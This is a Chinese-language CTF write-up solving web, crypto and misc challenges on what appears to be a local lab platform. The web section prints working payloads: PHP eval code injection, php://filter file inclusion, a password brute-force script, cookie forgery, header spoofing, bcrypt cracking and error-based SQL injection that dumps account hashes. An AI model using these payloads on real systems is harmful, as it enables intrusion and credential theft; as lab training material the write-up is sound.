CTF-60 writeup

Web

 

Web1 文件包含

 

打开看到源码

 

    include "flag.php";

    $a = @$_REQUEST['hello'];

    eval( "var_dump($a);");

    show_source(__FILE__);

?>

eval() 函数存在命令执行漏洞，构造出文件包含会把字符串参数当做代码来执行。

file() 函数把整个文件读入一个数组中，并将文件作为一个数组返回。

print_r() 函数只用于输出数组。

var_dump() 函数可以输出任何内容：输出变量的容，类型或字符串的内容，类型，长度。

hello=file(“flag.php”)，最终会得到var_dump(file(“flag.php”))，以数组形式输出文件内容。

include()函数和php://input，php://filter结合很好用，php://filter可以用与读取文件源代码，结果是源代码base64编码后的结果。

php://filter/convert.base64-encode/resource=文件路径（如index.php）

 

搜了一下@$_REQUEST 的意思是获得参数，不论是@$_GET还是@$_POST可以得到的参数@$_REQUEST都能得到。

所以构造hello的get参数。

$a应该最后会像字符串替换一样替换成hello的参数值吧。

 

payload：

<1> hello=);print_r(file("flag.php")

<2> hello=);var_dump(file("flag.php")

<3> hello=file("flag.php")

<4> hello=);include(@$_POST['b']

    在POST区域：b=php://filter/convert.base64-encode/resource=flag.php

<5> hello=);include("php://filter/convert.base64-encode/resource=flag.php"

<6> hello=1);show_source('flag.php');var_dump(

 

flag{ccd234c9-c022-4ce3-8a62-e56374e3324f}

 

Web2 爆破

 

提示5位数字密码

用bs抓包爆破

可以用Burp爆破

或者用python3的脚本

import requests

import threading

 

psw = 0

lock = threading.RLock()

gotit = False

correct = ""

class BreakThread(threading.Thread):

    def run(self):

        global psw, gotit, correct

        while True:

            lock.acquire()

            if psw > 99999 or gotit:

                lock.release()

                break

            d = {

                "pwd": str(psw).zfill(5)

            }

            psw = psw + 1

            lock.release()

            r = requests.post("http://xxxxx/baopo/?yes", data=d)

            r.encoding = "utf-8"

            try:

                r.text.index("密码不正确")

            except ValueError:

                print(d["pwd"] + "   right")

                gotit = True

                lock.acquire()

                correct = d["pwd"]

                lock.release()

                break

            else:

                print(d["pwd"] + "   wrong")

l = []

for i in range(2):

    l.append(BreakThread())

for i in l:

    i.start()

for i in l:

    i.join()

print("正确密码："+correct)

 

得出：

flag{bugku-baopo-hah}

 

Web3 变量1

 

打开看到源码

flag In the variable ! 

 

error_reporting(0);

include "flag1.php";

highlight_file(__file__);

if(isset($_GET['args'])){

    $args = $_GET['args'];

    if(!preg_match("/^\w+$/",$args)){

        die("args error!");

    }

    eval("var_dump($$args);");

}

?>

 

又是代码审计．．．

 

首先简单看了一下　没有发现什么有用的信息，之后注意到最后一行的eval("var_dump($ $args);");　注意了这地方有两个$ $ 

看到这里大家应该就懂了　所以我们只需给变量传一个全局数组变量就好了　所以我们构造 ?args=GLOBALS加到网页后面

http://192.168.1.101:1022?args=GLOBALS

便可得到FLAG

array(7) { ["GLOBALS"]=> *RECURSION* ["_POST"]=> array(0) { } ["_GET"]=> array(1) { ["args"]=> string(7) "GLOBALS" } ["_COOKIE"]=> array(0) { } ["_FILES"]=> array(0) { } ["ZFkwe3"]=> string(38) "flag{92853051ab894a64f7865cf3c2128b34}" ["args"]=> string(7) "GLOBALS" }

flag{92853051ab894a64f7865cf3c2128b34}

 

Web4 filter漏洞

 

php://filter

解释：php://filter是一种元封装器，设计用于"数据流打开"时的"筛选过滤"应用，对本地磁盘文件进行读写。简单来讲就是可以在执行代码前将代码换个方式读取出来，只是读取，不需要开启allow_url_include；

用法：?file=php://filter/convert.base64-encode/resource=xxx.php

?file=php://filter/read=convert.base64-encode/resource=xxx.php 一样

基本上原理就是利用php://filter在执行index.php之前将其内容用base64编码，这样就掩盖了

payload:?file=php://filter/read=convert.base64-encode/resource=./index.php

 

构造

http://192.168.1.101:1023/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

 

base64转码后

   

   

error_reporting(0);

if(!$_GET[file]){echo 'click me? no';}

$file=$_GET['file'];

if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){

echo "Oh no!";

exit();

}

include($file);

//flag{edulcni_elif_lacol_si_siht}

?>

flag{edulcni_elif_lacol_si_siht}

 

Web5 get方法

 

构造

http://192.168.1.101:1024/?what=flag

 

$what=$_GET['what'];

echo $what;

if($what=='flag')

echo 'flag{****}';

flagflag{bugku_get_su8kej2en}

 

flag{bugku_get_su8kej2en}

 

Web6 post方法

 

构造http://192.168.1.101:1025

post提交what=flag

 

$what=$_POST['what'];

echo $what;

if($what=='flag')

echo 'flag{****}';

flagflag{bugku_get_ssseint67se}

 

flag{bugku_get_ssseint67se}

 

Web7 jsfuck编码

 

ctrl+u查看源码，复制出加密字符串，输入f12控制台回车

 

ctf{whatfk}

 

Web8 is_numeric

 

即num既不能是数字字符，但是要等于1

我们可以想到用科学计数法表示数字1，既不是纯数字，其值又等于1

因此，构造payload

num=1a

可以得到flag

 

http://192.168.1.101:1027/?num=1a

 

$num=$_GET['num'];

if(!is_numeric($num))

{

echo $num;

if($num==1)

echo 'flag{**********}';

}

1aflag{bugku-789-ps-ssdf}

 

flag{bugku-789-ps-ssdf}

 

Web9 html实体编码

 

查看源码

去掉注释符保存为1.html文件，浏览器打开即可转码

 

KEY{J2sa42ahJK-HS11III}

 

Web10 url编码

 

查看源码url编码解码

在这里我们发现了有个js它定义了两个变量并采用eval函数算一些什么东西

不过很明显两个变量都是url编码 我们解密下可以得到

p1=function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b

p2=aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").οnsubmit=checkSubmit;

然后我们分析

 

eval(unescape(p1) + unescape('%35%34%61%61%32' + p2)); 

里面还有一段url编码　老规矩解密下得到54aa2

于是我们把三次的结果拼装起来得到p1=function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").οnsubmit=checkSubmit;

然后便得到值67d709b2b54aa2aa648cf6e87a7114f1放入输入框即可获得flag

 

KEY{J22JK-HS11}

 

 

Web11 修改静态html

 

直接输入发现只能输入一位数

审查元素让maxlength = 2就好了

flag{CTF-bugku-0032}

 

 

Web12 页面快速刷新

 

右键查看源代码 然后一直刷新 直到出来flag

也可以用burp抓包

repeat一直发送

随机出现当出现10.jpg时有flag

flag{dummy_game_1s_s0_popular}

flag{dummy_game_1s_s0_popular}

 

Web13 index备份+php弱类型

 

页面一串代码没用

用御剑扫描出

http://192.168.1.101:1032/index.php.bak

下载打开

include_once "flag.php";

ini_set("display_errors", 0);

$str = strstr($_SERVER['REQUEST_URI'], '?');

$str = substr($str,1);

$str = str_replace('key','',$str);

parse_str($str);

echo md5($key1);

echo md5($key2);

if(md5($key1) == md5($key2) && $key1 !== $key2){

    echo $flag."取得flag";

}

?>

审计php弱类型，key被过滤双写绕过，构造

http://192.168.1.101:1032/index.php?kekeyy1=240610708&kekeyy2=QNKCDZO

得flag

Bugku{OH_YOU_FIND_MY_MOMY}

 

Web14 X-Forwarded-For

 

如果我们在登录系统中输入用户名和密码，则会出现以下错误，表明IP无效：

Mismatch in host table! Please contact your administrator for access. IP logged.

我们直接使用火狐插件或者burp修改

X-Forwarded-For: 127.0.0.1

修改完后登陆发现不报ip错误了 密码错误

 

然后查看网站源代码发现一段base64 dGVzdDEyMw==

解密后test123

 

admin test123 登陆获取flag

 

flag{85ff2ee4171396724bae20c0bd851f6b}

 

 

Web15 cookie伪造

这个题目是一个cookie题

 

我们注册一个用户登陆上

 

Cookie都是351e766803开头

我们猜把351e766803后面的值改成admin的md5值

351e766803 21232f297a57a5a743894a0e4a801fc3 

修改完cookie

bs抓包改，发送

Cookie: session=6c1752d5-ddbf-4d04-9f2a-2c9de2b795bf; PHPSESSID=ubcb0jjgv6m6nrvs38re4jjji1; u=351e76680321232f297a57a5a743894a0e4a801fc3; r=351e76680321232f297a57a5a743894a0e4a801fc3

得到flag

Welcome admin user!

The flag is: 98112cb20fb17cc81687115010f8a5c3

flag{98112cb20fb17cc81687115010f8a5c3}

 

Web16 秋名山车神 python快速提交

 

# -*- coding:utf-8 -*-

import re

import requests

 

s = requests.Session()

r = s.get("http://192.168.1.101:1035/")

#print r.content

searchObj = re.search(r'^

(.*)=\?;

$', r.text, re.M | re.S)

d = {

    "value": eval(searchObj.group(1))

}

r = s.post("http://192.168.1.101:1035/", data=d)

print(r.text)

 

得到flag

Bugku{YOU_DID_IT_BY_SECOND}

 

Web17 WEB400 登录密码破解BCrypt加密

 

分析

挑战提供登录表单并告诉我们登录后我们将获得该标志。并且没有更多

在查看网络源代码时，我们发现了一条好奇的HTML评论：

这表明隐藏了数据库的备份。在询问了一些像db.sql或backup.sql这样的文件后，我们找到了正确的文件：database.sql

curl http://192.168.1.101:1036/database.sql

备份的内容是：

 ---- Dumping data for table `users`--INSERT INTO `users` (`id`, `username`, `password_bcrypt`, `fname`, `description`) VALUES (1, 'harry', '$2y$10$FalJ8SmqTDBv7Fr366RC9uW5hKJVZijsDqzgASh1kSGMsUFMMLGZq', 'hackim', 'Hash cracking is futile!');

我们观察表中的单个记录users。harry用户的密码用BCrypt 进行哈希处理。我们必须破解它，为此我们再次值得我们在开始时发现的HTML注释。

他们给我们一部分密码，显然我们不会在任何在线数据库或字典中找到它。我们必须使用部分密码作为前缀和/或后缀来创建我们自己的字典。为此我们编写一个简单的Python脚本：

v = "0123456789abcdefghijklmnopqrstuvwxyz"p = "kztu6fe1m68mwf7vl1g3grjzmocia043pmno83q3ati98c8r324dzc0hc7n41p6tdjg6p"def imprimir(n, s):

    for c in v:

        print s + c

        print c + s

        if n > 0:

            imprimir(n - 1, s + c)

            imprimir(n - 1, c + s)imprimir(2, p)

该脚本认为字符集与部分键（小写字母和数字）的字符集相同。我们这样执行：

python gen.py > dict.txt

然后我们使用John The Ripper来破解哈希：

echo '$2y$10$FalJ8SmqTDBv7Fr366RC9uW5hKJVZijsDqzgASh1kSGMsUFMMLGZq' > hash.txt

john --fork=8 --wordlist=dict.txt --format=bcrypt hash.txt

几分钟后睡了一会儿......

john --show hash.txt

?:kztu6fe1m68mwf7vl1g3grjzmocia043pmno83q3ati98c8r324dzc0hc7n41p6tdjg6p7ld

密码是kztu6fe1m68mwf7vl1g3grjzmocia043pmno83q3ati98c8r324dzc0hc7n41p6tdjg6p7ld

登录网站显示flag是：

 flag{b7ebfe2a47f711a7b2b5bff057600a2c}

 

 

Web18 综合注入

 

我们使用基于错误的技术利用SQL注入，即我们在数据库生成的错误消息中提取的信息。例如，要获取数据库的名称，我们进行以下注入：

User-Agent: xxx' and extractvalue(0x0a, concat(0x0a, database()))=0 -- x

 

该数据库的名称是：hackimweb500

现在我们列出所述数据库的表：

User-Agent: xxx' and extractvalue(0x0a, concat(0x0a,(select group_concat(table_name) from information_schema.tables where table_schema='hackimweb500')))=0 -- x

我们得到：

Invalid credentials

XPATH syntax error: '

accounts,cryptokey,useragents'

我们从accounts表中提取列：

User-Agent: xxx' and extractvalue(0x0a, concat(0x0a,(select group_concat(column_name) from information_schema.columns where table_schema='hackimweb500' and table_name='accounts')))=0 -- x

Invalid credentials

XPATH syntax error: '

uid,uname,pwd,age,zipcode'

我们对其他表的运作方式相似。最后我们有数据库的结构：

hackimweb500:

- accounts (uid,uname,pwd,age,zipcode)

- cryptokey (id,keyval,keyfor)

- useragents (bid,agent)

我们从帐户表中提取记录：

User-Agent: xxx' and extractvalue(0x0a, concat(0x0a,(select group_concat(concat(uname,':',pwd)) from accounts)))=0 -- x

Invalid credentials

XPATH syntax error: '

ori:6606a19f6345f8d6e998b69778c'

但是，密码的哈希值已被截断。没问题，我们用MID功能来解决它​​。

User-Agent: xxx' and extractvalue(0x0a, concat(0x0a,(select mid(pwd,20,20) from accounts)))=0 -- x

Invalid credentials

XPATH syntax error: '

8b69778cbf7ed'

整个哈希是6606a19f6345f8d6e998b69778cbf7ed。在Google搜索之后，我们发现密码是frettchen。

我们启动与用户ori和frettchen密钥的会话......并将我们重定向到一个有点好奇的URL，显然是挑战的第二部分。

http://54.152.19.210/web500/ba3988db0a3167093b1f74e8ae4a8e83.php?file=uWN9aYRF42LJbElOcrtjrFL6omjCL4AnkcmSuszI7aA=

URL接收file带有base64文本的参数，如果我们解码，我们就不会得到任何可读的内容。该页面还告诉我们该标志位于flagflagflagflag.txt文件中。

当我们查看页面的源代码时，我们会以HTML注释的形式找到另一个提示：

它似乎是file决定URL 参数的函数。但是，$key未分配变量。解密的关键在于其他地方。

我们记得数据库中的cryptokey表，我们将其转储：

User-Agent: xxx' and extractvalue(0x0a, concat(0x0a,(select keyval from cryptokey)))=0 -- x

Invalid credentials

XPATH syntax error: '

TheTormentofTantalus'

关键是TheTormentofTantalus。我们decrypt使用加密密钥完成该功能，并尝试解密参数的值file。

我们执行PHP代码：

php decifra.php

flag-hint

一个给定的结果。该文件的名称是flag-hint。但我们需要flagflagflagflag.txt文件。我们编写一个使用相同算法和密钥加密的函数。

    $key = "TheTormentofTantalus"; //stored elsewhere    $iv = "\xb9c}i\x84E\xe3b\xc9lINr\xbbc\xac";

    // $iv = str_repeat("A", mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC));    $enc = mcrypt_encrypt (

        MCRYPT_RIJNDAEL_128,

        hash('sha256', $key, true),

        $data,

        MCRYPT_MODE_CBC,

        $iv

    );

    return base64_encode($iv . $enc);}echo encrypt("flagflagflagflag") . "\n";

经过一段时间的挫折之后，我们明白我们应该只加密文件名而不加密它的扩展名。

php cifrar.php

uWN9aYRF42LJbElOcrtjrBBiPlzTw8YXwRyfAyqcsVM=

最后我们调用URL file使用获得的值更改参数并且...

http://54.152.19.210/web500/ba3988db0a3167093b1f74e8ae4a8e83.php?file=uWN9aYRF42LJbElOcrtjrBBiPlzTw8YXwRyfAyqcsVM=

 

Flag:{70031737753d9e53970531fc9475d6ef}

 

Web19 XSS

 

flag{M3_w@n7_c0ok1e_m3_5teal_co0ki3}

 

Web20 XSS1

 

// by harry

if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {

    echo '

Hello ' . $_GET[ 'name' ] . '

';

}

?>

 

代码直接引用了name参数，并没有任何的过滤与检查，存在明显的XSS漏洞。输入，成功弹框，页面显示

Hello

 

 

Crypto

 

Crypto1 栅栏密码

 

fa{660cb679d7866ffalg7d27e041cfbd18ed}

栅栏密码用密码机器解密

flag{76d6207ceb064719cdf7b8d6168fefda}

 

Crypto2 摩斯密码

 

..-./.-../.-/--./----.--/./...../----././----./----./.-/----./-----/-.../...../-.-././..-./-..../..-./-----.-

摩斯密码用机器解密解密

flag{e59e99a90b5cef6f}

 

Crypto3 base64三重加密

 

密文bE0veldtTDs7NzlTe3hzbSFYSj5Sa2U6eyQ4NyVrI3FvWFU6Qls7QlVK 密钥589164

字符串不难看出是base64

解出来的结果是

lM/zWmL;;79S{xsm!XJ>Rke:{$87%k#qoXU:B[;BUJ

这个看起来有点乱，不知道是什么，不过想想提示，589164，什么意思，前面是base64，那整句就是base58 base91 base64

解base91得出结果

iDMb6ZMTGMptmkhxw36mqkjCkyUHL3sSp4

再解base58得到flag

 

flag{JustUse3TimesEncode}

 

Crypto4 Ook

 

Ook!加密

在线解密网站https://www.splitbrain.org/services/ook

或者本地搭建的解密网站http://127.0.0.1/ook-master/

flag{1c470f09af4c86b7}

 

 

Crypto5 bbrainfuck

 

Brainfuck加密

在线解密网站https://www.splitbrain.org/services/ook

或者本地搭建的解密网站http://127.0.0.1/ook-master/

flag{8321df7c190317ec}

 

Crypto6 密码学-rsass

 

下载压缩包，得到rsa.zip，解压，发现有密码，使用弱口令爆破，密码是password

发现里面有

根据做了那么多rsa的经验来说，两个公钥第一反应是共模攻击.

先使用openssl取出两个pubkey的n和e，（也可以使用在线工具取出n和e）http://ctf.ssleye.com/pub_asys.html

n1=n2

e1=2333=e2=23333

提取后发现两个公钥的n都是一样的，只有e不一样，就更加确定是共模攻击了.

接下来就是取出密文.

打开密文发现是这样的。

需要先将其base64解码，再转为10进制，才能得到密文m，可使用在线工具是解不开这个base64的。

这里我们使用Python.

先base64解码(这里如果不放到变量里面下一步会报错.)：

导入一个libnum库，将hex转为dec:

得到了两个密文：

M1 =

M2 =

完整的取出m的代码

现在已经得到了n, e1, e2, m1, m2 可以开始写共模攻击脚本了。(脚本已打包，gm.py )

 

#!/usr/bin/env python

# -*- coding:utf-8 -*-

# Author    : HeliantHuS

# Time      : 2018/12/10

 

from gmpy2 import invert

def gongmogongji(n, c1, c2, e1, e2):

    def egcd(a, b):

        if b == 0:

            return a, 0

        else:

            x, y = egcd(b, a % b)

            return y, x - (a // b) * y

    s = egcd(e1, e2)

    s1 = s[0]

    s2 = s[1]

    if s1 < 0:

        s1 = - s1

        c1 = invert(c1, n)

    elif s2 < 0:

        s2 = - s2

        c2 = invert(c2, n)

    m = pow(c1, s1, n) * pow(c2, s2, n) % n

    return m

 

n = 17362520124149736059291605717839814089431261833972408175766504894876091272021197374480215582589878198406028065354454242540322618614670160317701698407729515781811530180885334265851364490357884909336085410775168953942120359215038925025305363480538685487988827339463890539279008285241711326041868183805848503077373967082910932422798165242481154593794712639251157856102009630894845049984346776659339380886766804814959778048440996937820138560802077375885700500737699904011032451007341777160586467318264288370080315519305800247682611802774996999330812534723806925426052547128371180683265963525581842037399869323246530085399

e1 = 2333

e2 = 23333

c1 = 11757177168629974661319129065020939259607843855964612407515015619551332717303594939284265148421101106538576564879770344246694669035164564635188309876801896156214909946098869029964618647606449218025915092461416329529723153695631060387903820322776063152970417682658882514448192870115306139048632667164375339647480060498038060662339943872320998391726896418231367745182167642401094985859083528539732718585607300300744481583877075988159078923393794888199752412273065186387778708588318818871255432956112609603017152148063465689319082652284861285738454428311471661017770501362483439955249552527930663707069794266908382237863

c2 = 2364848878397323871885597084235162950454738150033561990125608234733186785294327511676322556989693319543787881108157790541032502889824032246849038028277601291878651138223131738210948288040172974610279550123399373111991951111719314902078119305973622147396199257818150347936553495169543808071509800280778646769553776723985138633331947024508645378935223338224527962766707863670722941767067705851822587652625805245801727869961524972624327839027498877534264770109063202217409037083612774983213841234965045214820133529399280883524064963136158251681946077429913578531311243649928666453318570284124743168193304356485791847813

 

result = gongmogongji(n, c1, c2, e1, e2)

print result

 

得到了：

56006392793405146392044030904223674296981372972935018576761589590002462312910860136112925465677030781

先将这个十进制数字转为hex：

得到：

666c61677b34623062346338612d383266332d346438302d393032622d3865376135373036663866657d

再将其转为字符：

得到flag:

flag{4b0b4c8a-82f3-4d80-902b-8e7a5706f8fe}

平台不让用 - ， 就更改一下flag格式(删除-).

python脚本：

 

# -*- coding:utf-8 -*-

# 十进制转换为十六进制转换为字符串

a = "56006392793405146392044030904223674296981372972935018576761589590002462312910860136112925465677030781"

 

b = hex(int(a)) #转换为16进制

 

#print b

 

flag = ""

for i in range(2,len(b)-1,2):

flag += chr(int(b[i:i+2],16)) #转换为字符串

 

print flag.replace("-","") #替换字符串的-

 

得到最终的flag:

flag{4b0b4c8a82f34d80902b8e7a5706f8fe}

 

Crypto7 看键盘看键盘看键盘！

 

ujn njkm ijnmhjk fgtrdcv tgvgy njkm hjuygbn ijnmhjk

提交：ctf{}

按字母键盘画出字符为Internet

ctf{Internet}

 

 

Crypto8 火眼金睛

 

下载Crack.zip，先暴力破解5位数字密码，得到两个文件readm.txt,flag.zip，

再用 readme.txt明文攻击破解出flag.zip密码，得到flag.png

用010改高度，得到flag

flag{40328fb5149e493d}

 

 

Crypto9 rsa-encrypted

 

用Kali安装gmpy2

需要的依赖库 gmp mpfr mpc

gmp 库安装

 

apt-get install libgmp-dev

 

mpfr 库安装

 

apt-get install libmpfr-dev

 

mpc 库安装

 

apt-get install libmpc-dev

 

pip安装

 

apt-get install python3-pip

 

gmpy安装

 

pip install gmpy2

 

运行python

>>> c=4153372421328787064168548641845708183921443446990158572506114559735441950501706984118235944441928889749083563790293558028143373121367441549974248211570336802004821051820943229232421937298269855190652251294220483768084460779714162849925877879859830009443131489814222929347727735616113359695228615432020363240247474622132986939108457393618346100033147945959684443762976681454755482192433993286205527003029269574787026484389622816932835184754540312561890719407986296481186847292967270288752616

>>> gmpy2.iroot(c,3)

(mpz(16074357572745018593418837326290993512421736655307780242162599660198598253230550168811761868953242350136362894008095983571749530656901163555918436741973772511575306L), True)

 

>>> x=16074357572745018593418837326290993512421736655307780242162599660198598253230550168811761868953242350136362894008095983571749530656901163555918436741973772511575306

>>> x=libnum.n2s(16074357572745018593418837326290993512421736655307780242162599660198598253230550168811761868953242350136362894008095983571749530656901163555918436741973772511575306)

>>> x1=x[::-1].encode('rot13')

>>> x1

'This is the password you need for the ZIP file: flag{rsaM0reD33peR}\n'

 

flag{rsaM0reD33peR}

 

Crypto10 easy_crypto

 

摩斯密码解密0 1 和空格

flag{m0rse_code_1s_interest1n9!}

 

Crypto11 CRC32 BOOM！

 

github上下载crc32.py爆破攻击

rar打开压缩包看crc32值

python运行

python crc32.py reverse 0x8e234ae0

看到疑似密码alternative: bugku_ (OK)

python crc32.py reverse 0x8115a277

看到疑似密码alternative: newctf (OK)

拼到一起bugku_newctf

用010editor打开flag.jpg看到flag

flag{Crcrcrcrc_32_BOOM}

 

 

Crypto12 置换密码

 

用密码机器网页版解密置换密码

lfe{agdf7244bb47cd310b7b1d71e01c9e6d}c@@@@

排列 216534

解密后

flag{efd4427bbcd74137bb0d1e017c16de9c}

 

 

Crypto13 维吉尼亚密码

 

用密码机器网页版解密维吉尼亚密码

gndk{911k46l0jln5804oo592mo9q363st1r1}

默认密钥bcdefghijklmnopqrstuvwxyza

解密后

flag{911f46f0cde5804ed592ab9c363dd1a1}

 

 

Crypto15 古典密码_crypto_infosec

题目：古典密码  

Lrg|{R6{{QQ%O@pOjkiuP*YDuL_tzgNkvpePEu2SNlsKp

提交格式CTF{}

copytright@infosec

 

第一个base85解密，出来CLF{TCAASISCLWASPSOEDARRIETENRS}INTG

古典密码解密，分成6个一组，b=[0，4，2，3，5，1]按照这样的顺序

 

·解出密码CTF{CLASSICALPASSWORDAREINTERESTING}

 

脚本解密

Import base64

demo = base64.b85decode('Lrg|{R6{{QQ%O@pOjkiuP*YDuL_tzgNkvpePEu2SNlsKp').decode('utf8')

print(demo)

b = [0,4,2,3,5,1]

for i in range(0,len(demo),6):

    for j in b:

        print(demo[i+j],end='')

 

解出flag：

CTF{CLASSICALPASSWORDAREINTERESTING}

 

 

Crypto16 进制转换

题目：1212 1230 1201 1213 1323 1012 1233 1311 1302 1202 1201 1303 1211 301 302 303 1331

这个看起来就是4进制，于是打开网站http://tool.oschina.net/hexconvert/：

4进制转换为16进制

最后得到16进制

66 6C 61 67 7B 46 6F 75 72 62 61 73 65 31 32 33 7D

直接converter转换成文本得到

flag{Fourbase123}

 

 

Crypto17 简单异或

 

 

AnHZniLvmOHW1YJe5Sgdqgl:Ny0cHQcMBBcYOAQzVW5+VHwJClEzHlQ=

LiuBZYGvFfCi6HKmFkR"LZD:OiohBTM8DxczEQ8NUn9/XA8xPxcOI3w=

4kCKeIb3svqiOAjQZUaUNBQ:QigXDAwsKlIGAT0NK3ZeYBMPDGAMO2k=

here is the encrypt flag:

EC81IBIrJxYqLiMRO3xaXj4FNXoQWEU=

 

import base64

def xor(a,b):

    res = ""

    assert len(a) == len(b)

    for i in range(len(a)):

        res += chr(ord(a[i])^ord(b[i]))

    return res

f = open("give_to_player","r")

f.readline()

info = f.readline().strip("\n")

dec = info.split(":")[0]

enc = info.split(":")[1]

key = xor(dec,base64.b64decode(enc))

f.readline()

f.readline()

flag = f.readline().strip("\n")

flag = xor(key,base64.b64decode(flag))

print(flag)

 

 

Misc

 

1 Traffic_Light

 

打开发现是一个红绿灯的gif图片

看到红绿灯的闪烁 让我们联想到了二进制的0和1，其中绿灯代表0，红灯代表1；

用Gifsplitter.exe分离工具，把gif分离下来

发现每八个红绿灯闪烁之后就会有一个黄灯作为间隔，这也证实了我的猜想

于是就有了思路，首先把红灯、绿灯、黄灯的图片用二进制读取出来，并存在一个列表里面，然后把其他图片也用二进制读取，和列表进行比对。 如果是红灯返回1，绿灯返回0，黄灯就表示换行。

puthon脚本如下 ：

解析图片代表的二进制数字：

 

# -*- coding:utf-8 -*-

f = open("./Traffic_Light/IMG00000.bmp","rb")  #0

data = f.read()

 

f1 = open("./Traffic_Light/IMG00002.bmp","rb")  #1

data1 = f1.read()

 

f2 = open("./Traffic_Light/IMG00016.bmp","rb") #分隔符号

data2 = f2.read()

 

a = data.encode('hex')

b = data1.encode('hex')

c = data2.encode('hex')

 

list=[a,b,c]

flag = ""

for i in range(9):

i=i+1

tupian = "./Traffic_Light/IMG0000"+str(i)+".bmp"

f = open(tupian,"rb")

data = f.read()

d = data.encode('hex')

if d in list:        

number = list.index(d)

flag+=str(number)

print flag

 

 

for i in range(10,100):

tupian = "./Traffic_Light/IMG000"+str(i)+".bmp"

f = open(tupian,"rb")

data = f.read()

d = data.encode('hex')

if d in list:        

number = list.index(d)

flag+=str(number)

print flag

 

for i in range(100,1000):

tupian = "./Traffic_Light/IMG00"+str(i)+".bmp"

f = open(tupian,"rb")

data = f.read()

d = data.encode('hex')

if d in list:        

number = list.index(d)

flag+=str(number)

print flag

 

 

for i in range(1000,1168):

tupian = "./Traffic_Light/IMG0"+str(i)+".bmp"

f = open(tupian,"rb")

data = f.read()

d = data.encode('hex')

if d in list:        

number = list.index(d)

flag+=str(number)

print flag

 

fn=flag.replace('2','\n')

s=open('./flag.txt','a+')

s=s.write(fn)

 

file=open("./flag.txt","r")

flag = ""

 

while 1:

    line = file.readline()

    if not line:

        break

    else:

    a = chr(int(line,2))

    flag = flag + str(a)

    print flag

print flag

 

打印出flag：

flag{Pl34s3_p4y_4tt3nt10n_t0_tr4ff1c_s4f3ty_wh3n_y0u_4r3_0uts1d3}

 

 

misc2 bmp缺少文件头

 

 

题目是一张bmp的图片，但是并不能够打开，用010editor打开看看

 

熟悉bmp文件头的应该很快就能够发现，这里少了文件头，但是并不是随便加个文件头就可以了的，因为不是所有的bmp文件头数据都是一样的，所以需要知道文件的大小，宽高才能够匹配正确的文件头！(具体百度)

 

winhex中能够看到文件大小为`202800byte`

 

* 由于已经少了文件头，所以图像的大小就是202800

 

- 那么宽高是是多少呢？

 

  - 这里得看位图是多少，现在常见的就是24位，每三个字节存储一个像素

  - 图片的名称也能够得到提示

  - 图像大小=宽 x 高 x 3

 

  得到宽乘高就是67600=260*260

 

  画图新建260*260得文件保存为24位的bmp文件，然后用010editor把文件头复制过去保存打开后：

 

  flag{2bbec037bca695ab4059afb8623ee041}

 

 

 

 

misc3 Welcome 图片隐写

 

首先直接点开是一张图：

常规方法，用记事本打开，发现没啥用，然后改后缀，改成rar或者zip之后，打开：

看到flag.rar是加密过的，同时给出了提示：

脑洞大一点想想，可以发现这就是扑克牌里的 K Q J,又因为是3个数字，键盘密码，871

或者爆破出密码

输入密码871，解压出图，用记事本打开它，可以看到：

f1@g{eTB1IEFyZSBhIGhAY2tlciE=}

Base64之后得到

flag{y0u Are a h@cker!}

 

 

misc4 哆啦A梦.jpg 图片隐写

 

拿到题目，提示说图片少了点什么?

然后放linux下，使用binwalk查看

发现图片下面隐藏了一张PNG图片

导出图片

在linux下不能正常查看此图片，但在windows下可以查看，说明图片有问题，被修改了头，而且在windows下查看是个二维码，但是明显不全

可以认定是修改了图片的高，有一部分没显示出来。

使用十六进制编辑器，修改文件的头

目前图片的宽高为300x257，257对应的十六进制为101，在十六进制编辑器中搜索0101

将0101修改为300对应的十六进制012c即可

成功查看二维码，扫描出一个base64的结果

flag{Ctf_2018_very_good}

 

 

misc5 string搜索

 

解题思路：

打开之后发现有500个txt文件，每个都是8K

开始思路被僵化，以为要把这所有的文件合成一个文件，然后通过winhex查看文件头也没什么收获

最后猛然发现，使用strings命令有奇效

strings *|grep key{

 

key{fe9ff627da72364a}

 

 

misc6 多文件转换二进制 二进制转字符串

 

我们打开题目，发现除了rar还有一个压缩包密码.txt，打开之后发现是base64，但是使用converter转换失败，我们认为这串base64应该可以转换成图片，看开头就知道了。

 于是利用在线网站转换，http://tool.chinaz.com/tools/imgtobase 或者直接复制到浏览器地址栏打开

可以看到转换为了图片，上面显示密码为asdfghjkl。我们解开压缩包可以看到里面有一百多个二维码，估计信息就藏在二维码上。

 

编写如下脚本：

 

# -*- coding:utf-8 -*-

#读取文件

f0 = open("./wenjian/0.png","rb")  #0

data0 = f0.read()

 

f1 = open("./wenjian/1.png","rb")  #1

data1 = f1.read()

 

#判断文件写入二进制

a0 = data0.encode('hex')

b1 = data1.encode('hex')

list=[a0,b1]

flagbin = ""

for i in range(0,160):

tupian = "./wenjian/"+str(i)+".png"

f = open(tupian,"rb")

data = f.read()

d = data.encode('hex')

if d in list:        

number = list.index(d)

flagbin+=str(number)

#print flagbin

 

# 二进制转换为字符串

flag = ""

for i in range(0,len(flagbin)/8):

b = flagbin[i*8:i*8+8]

flag += chr(int(b,2))

 

print flag

 

得到flag为：

flag{QRcode1sUseful}

 

misc7 摩尔斯电码 音频隐写

 

打开wav文件，听到滴滴的声音

估计是摩斯编码，仔细听但是听不出声音长短

使用cooledit或者audacity软件看波形的长度来判断声音的长短

写出摩尔斯电码

破解得到5BC925649CB0188F52E617D70929191C

flag{5BC925649CB0188F52E617D70929191C}

 

misc8 你真的了解base的原理吗？

 

 

下载文件后，发现有8MB，很明显这个base很大，用notepad或者其它类型的笔记本打开，发现是一种不常见的base85，所以不了解base的自然不知道。

